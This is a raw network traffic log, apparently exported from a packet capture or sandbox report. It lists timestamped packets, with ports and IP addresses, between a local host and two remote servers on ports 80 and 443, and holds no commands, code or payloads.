Jul 13, 2021 14:37:56.095109940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.095457077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.095485926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.095513105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.095535994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.095560074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.095643997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.095896006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096143961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.096551895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096577883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096601963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096625090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096625090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.096646070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096664906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096687078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096708059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096710920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.096730947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096751928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096771002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.096776009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096796036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096806049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.096817017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.096863985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.339607000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.339766026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.803741932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.803849936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.399672031 CEST	49763	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:57.628952980 CEST	443	49763	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:57.629096031 CEST	49763	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:57.630013943 CEST	49763	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:57.736166954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.736275911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.858745098 CEST	443	49763	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:57.859675884 CEST	443	49763	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:57.859776974 CEST	49763	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:57.872423887 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.874082088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890314102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890340090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890357018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890393972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890408993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890424013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890439034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890453100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890466928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890506983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890506983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890508890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890525103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890552044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890567064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890569925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890585899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890599966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890626907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890660048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890719891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890734911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890764952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890782118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890856028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890877962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890894890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.890903950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890922070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890934944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890964031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.890973091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891025066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891026974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891062021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891072035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891077995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891119957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891165972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891197920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891215086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891230106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891243935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891258001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891259909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891292095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891325951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891359091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891386032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891401052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891436100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891580105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891596079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891609907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891628027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891635895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891644001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891658068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891686916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891717911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891746998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891787052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891845942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891872883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891885996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891899109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891904116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891920090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891948938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.891952038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891984940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.891987085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892002106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892041922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892093897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892108917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892123938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892138958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892153025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892187119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892245054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892281055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892291069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892297029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892311096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892326117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892337084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892385006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892421961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892436981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892472982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892488956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892491102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892527103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892559052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892577887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892594099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892618895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892607927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892638922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892658949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892704964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892750978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892781973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892797947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892812014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892826080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892843008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892846107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892858028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892873049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892889023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892889023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892905951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892923117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892923117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892954111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892970085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.892972946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.892988920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893003941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893018007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893039942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893079996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893090963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893106937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893121958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893137932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893189907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893213034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893239021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893256903 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893259048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893276930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893292904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893296003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893309116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893325090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893337965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893341064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893357038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893373966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893418074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893461943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893477917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893493891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893508911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893521070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893528938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893538952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893543005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893554926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893588066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893610954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893613100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893631935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893650055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893666983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893698931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893731117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893780947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893809080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893827915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893857956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893871069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893908024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893917084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893924952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893940926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.893971920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.893981934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894000053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894018888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894021988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894073009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894076109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894102097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894119024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894134998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894155979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894150972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894185066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894203901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894220114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894244909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894256115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894272089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894288063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894311905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894313097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894329071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894346952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894347906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894382000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894396067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894443989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894447088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894464970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894490004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894507885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894531965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894548893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894563913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894575119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894603014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894613028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894629955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894645929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894670963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894687891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894716978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894731045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894732952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894748926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894768000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894779921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894803047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894820929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894834042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894845963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894855022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894875050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894882917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894891977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894907951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.894908905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.894953012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895039082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895056009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895071983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895085096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895087004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895102978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895127058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895148039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895163059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895176888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895222902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895255089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895271063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895287037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895299911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895303965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895312071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895319939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895335913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895351887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895365000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895366907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895385981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895387888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895390987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895402908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895461082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895476103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895478010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895493984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895524025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895535946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895539999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895554066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895555973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895600080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895616055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895617008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895632029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895641088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895698071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895720005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895737886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895766973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895782948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895782948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895797968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895814896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895828009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895831108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895849943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895929098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895944118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.895979881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.895996094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896012068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896027088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896044016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896089077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896169901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896188021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896205902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896225929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896239996 CEST	80	49757	47.254.186.176	192.168.2.3
